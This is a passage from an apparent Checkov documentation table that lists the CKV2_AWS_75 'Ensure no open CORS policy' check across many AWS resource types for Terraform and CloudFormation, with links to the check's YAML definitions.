[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3957 | CKV2_AWS_75 | resource | aws_iot_logging_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3958 | CKV2_AWS_75 | resource | aws_iot_logging_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3959 | CKV2_AWS_75 | resource | aws_iot_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3960 | CKV2_AWS_75 | resource | aws_iot_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3961 | CKV2_AWS_75 | resource | aws_iot_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3962 | CKV2_AWS_75 | resource | aws_iot_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3963 | CKV2_AWS_75 | resource | aws_iot_provisioning_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3964 | CKV2_AWS_75 | resource | aws_iot_provisioning_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3965 | CKV2_AWS_75 | resource | aws_iot_role_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3966 | CKV2_AWS_75 | resource | aws_iot_role_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3967 | CKV2_AWS_75 | resource | aws_iot_thing | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3968 | CKV2_AWS_75 | resource | aws_iot_thing | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3969 | CKV2_AWS_75 | resource | aws_iot_thing_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3970 | CKV2_AWS_75 | resource | aws_iot_thing_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3971 | CKV2_AWS_75 | resource | aws_iot_thing_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3972 | CKV2_AWS_75 | resource | aws_iot_thing_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3973 | CKV2_AWS_75 | resource | aws_iot_thing_principal_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3974 | CKV2_AWS_75 | resource | aws_iot_thing_principal_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3975 | CKV2_AWS_75 | resource | aws_iot_thing_type | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3976 | CKV2_AWS_75 | resource | aws_iot_thing_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3977 | CKV2_AWS_75 | resource | aws_iot_topic_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3978 | CKV2_AWS_75 | resource | aws_iot_topic_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3979 | CKV2_AWS_75 | resource | aws_iot_topic_rule_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3980 | CKV2_AWS_75 | resource | aws_iot_topic_rule_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3981 | CKV2_AWS_75 | resource | aws_ivs_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3982 | CKV2_AWS_75 | resource | aws_ivs_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3983 | CKV2_AWS_75 | resource | aws_ivs_playback_key_pair | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3984 | CKV2_AWS_75 | resource | aws_ivs_playback_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3985 | CKV2_AWS_75 | resource | aws_ivs_recording_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3986 | CKV2_AWS_75 | resource | aws_ivs_recording_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3987 | CKV2_AWS_75 | resource | aws_ivschat_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3988 | CKV2_AWS_75 | resource | aws_ivschat_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3989 | CKV2_AWS_75 | resource | aws_ivschat_room | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3990 | CKV2_AWS_75 | resource | aws_ivschat_room | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3991 | CKV2_AWS_75 | resource | aws_kendra_data_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3992 | CKV2_AWS_75 | resource | aws_kendra_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3993 | CKV2_AWS_75 | resource | aws_kendra_experience | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3994 | CKV2_AWS_75 | resource | aws_kendra_experience | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3995 | CKV2_AWS_75 | resource | aws_kendra_faq | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3996 | CKV2_AWS_75 | resource | aws_kendra_faq | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3997 | CKV2_AWS_75 | resource | aws_kendra_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3998 | CKV2_AWS_75 | resource | aws_kendra_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3999 | CKV2_AWS_75 | resource | aws_kendra_query_suggestions_block_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4000 | CKV2_AWS_75 | resource | aws_kendra_query_suggestions_block_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4001 | CKV2_AWS_75 | resource | aws_kendra_thesaurus | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4002 | CKV2_AWS_75 | resource | aws_kendra_thesaurus | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4003 | CKV2_AWS_75 | resource | aws_key_pair | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4004 | CKV2_AWS_75 | resource | aws_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4005 | CKV2_AWS_75 | resource | aws_keyspaces_keyspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4006 | CKV2_AWS_75 | resource | aws_keyspaces_keyspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4007 | CKV2_AWS_75 | resource | aws_keyspaces_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4008 | CKV2_AWS_75 | resource | aws_keyspaces_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4009 | CKV2_AWS_75 | resource | aws_kinesis_analytics_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4010 | CKV2_AWS_75 | resource | aws_kinesis_analytics_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4011 | CKV2_AWS_75 | resource | aws_kinesis_firehose_delivery_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4012 | CKV2_AWS_75 | resource | aws_kinesis_firehose_delivery_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4013 | CKV2_AWS_75 | resource | aws_kinesis_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4014 | CKV2_AWS_75 | resource | aws_kinesis_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4015 | CKV2_AWS_75 | resource | aws_kinesis_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4016 | CKV2_AWS_75 | resource | aws_kinesis_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4017 | CKV2_AWS_75 | resource | aws_kinesis_stream_consumer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4018 | CKV2_AWS_75 | resource | aws_kinesis_stream_consumer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4019 | CKV2_AWS_75 | resource | aws_kinesis_video_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4020 | CKV2_AWS_75 | resource | aws_kinesis_video_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4021 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4022 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4023 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4024 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4025 | CKV2_AWS_75 | resource | aws_kms_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4026 | CKV2_AWS_75 | resource | aws_kms_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4027 | CKV2_AWS_75 | resource | aws_kms_ciphertext | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4028 | CKV2_AWS_75 | resource | aws_kms_ciphertext | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4029 | CKV2_AWS_75 | resource | aws_kms_custom_key_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4030 | CKV2_AWS_75 | resource | aws_kms_custom_key_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4031 | CKV2_AWS_75 | resource | aws_kms_external_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4032 | CKV2_AWS_75 | resource | aws_kms_external_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4033 | CKV2_AWS_75 | resource | aws_kms_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4034 | CKV2_AWS_75 | resource | aws_kms_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4035 | CKV2_AWS_75 | resource | aws_kms_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4036 | CKV2_AWS_75 | resource | aws_kms_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4037 | CKV2_AWS_75 | resource | aws_kms_key_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4038 | CKV2_AWS_75 | resource | aws_kms_key_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4039 | CKV2_AWS_75 | resource | aws_kms_replica_external_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4040 | CKV2_AWS_75 | resource | aws_kms_replica_external_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4041 | CKV2_AWS_75 | resource | aws_kms_replica_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4042 | CKV2_AWS_75 | resource | aws_kms_replica_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4043 | CKV2_AWS_75 | resource | aws_lakeformation_data_cells_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4044 | CKV2_AWS_75 | resource | aws_lakeformation_data_cells_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4045 | CKV2_AWS_75 | resource | aws_lakeformation_data_lake_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4046 | CKV2_AWS_75 | resource | aws_lakeformation_data_lake_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4047 | CKV2_AWS_75 | resource | aws_lakeformation_lf_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4048 | CKV2_AWS_75 | resource | aws_lakeformation_lf_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4049 | CKV2_AWS_75 | resource | aws_lakeformation_permissions | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4050 | CKV2_AWS_75 | resource | aws_lakeformation_permissions | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4051 | CKV2_AWS_75 | resource | aws_lakeformation_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4052 | CKV2_AWS_75 | resource | aws_lakeformation_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4053 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4054 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4055 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tags | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4056 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tags | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4057 | CKV2_AWS_75 | resource | aws_lambda_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4058 | CKV2_AWS_75 | resource | aws_lambda_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4059 | CKV2_AWS_75 | resource | aws_lambda_code_signing_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4060 | CKV2_AWS_75 | resource | aws_lambda_code_signing_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4061 | CKV2_AWS_75 | resource | aws_lambda_event_source_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4062 | CKV2_AWS_75 | resource | aws_lambda_event_source_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4063 | CKV2_AWS_75 | resource | aws_lambda_function | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4064 | CKV2_AWS_75 | resource | aws_lambda_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4065 | CKV2_AWS_75 | resource | aws_lambda_function_event_invoke_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4066 | CKV2_AWS_75 | resource | aws_lambda_function_event_invoke_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4067 | CKV2_AWS_75 | resource | aws_lambda_function_recursion_config | Ensure no open CORS policy | Terraform | 